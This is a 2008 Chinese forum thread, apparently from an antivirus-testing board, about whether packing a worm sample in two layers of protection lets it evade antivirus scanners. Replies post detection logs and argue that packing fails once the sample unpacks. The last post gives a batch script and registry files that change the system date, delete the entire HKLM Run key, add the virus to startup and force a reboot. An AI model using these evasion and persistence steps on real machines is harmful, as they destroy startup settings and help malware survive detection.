(修改一下)虫子加两层壳89%的杀软查不出。试试杀软是不是用虚拟机解压查毒的。

yjwfdc

主要是试试杀软是不是用虚拟机解压查毒的。
----------------------------------------------------------

改了一下，snpstd3.exe只加一层，如果加多层，查不出，效果就好些，没空加。
这次先删除启动，立即重启运行。

新文件在10楼


[ 本帖最后由 yjwfdc 于 2008-2-18 12:41 编辑 ]

无尽藏海

运行后
2008-2-18 1:49:38        Real-time file system protection        file        C:\Sandbox\Administrator\DefaultBox\user\current\Local Settings\Application Data\excel.exe        probably unknown NewHeur_PE virus        cleaned by deleting - quarantined        NT AUTHORITY\SYSTEM        Event occurred on a new file created by the application: F:\virus\虫子加两层壳[1]\虫子加两层壳.exe.

mofunzone

这种释放壳一点意义都没有，运行后反正只是把原的文件释放出来，一样被杀
你要免杀原文件才可以

lingbo110120

再怎么加壳 就算加完壳 扫不出
运行后 还是扫得出的....
遇到 喜欢报壳的杀软不就

wangjay1980

扫描一下就脱了

detected: Trojan program Trojan-Downloader.Win32.VB.lg        File: C:\Documents and Settings\Owner\×ÀÃæ\³æ×Ó¼ÓÁ½²ã¿Ç.exe//#//NSPack

[ 本帖最后由 wangjay1980 于 2008-2-18 09:35 编辑 ]

fishx

运行后一脱壳就被查，加多少壳也白搭

shqdyj

高手啊～～～

kkgh

运行后被杀

傻猪猪米走鸡

看来特征码才是关键……

yjwfdc

主要是试试杀软是不是用虚拟机解压查毒的。
----------------------------------------------------------

改了一下，snpstd3.exe只加一层，如果加多层，查不出，效果就好些，没空加。
这次先删除启动，立即重启运行。

date 2007-02-18    >>>>改系统日期
regedit /s delrun.reg    >>>>删除注册表启动
regedit /s run.reg   >>>>导入注册表启动
copy snpstd3.exe "d:\\病毒\\snpstd3.exe"   >>>>复制病毒
restart.exe     >>>>立即重启  

delrun.reg文件内容
Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]  

run.reg文件内容

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"snpstd3"="\"d:\\病毒\\snpstd3.exe"

[ 本帖最后由 yjwfdc 于 2008-2-18 14:12 编辑 ]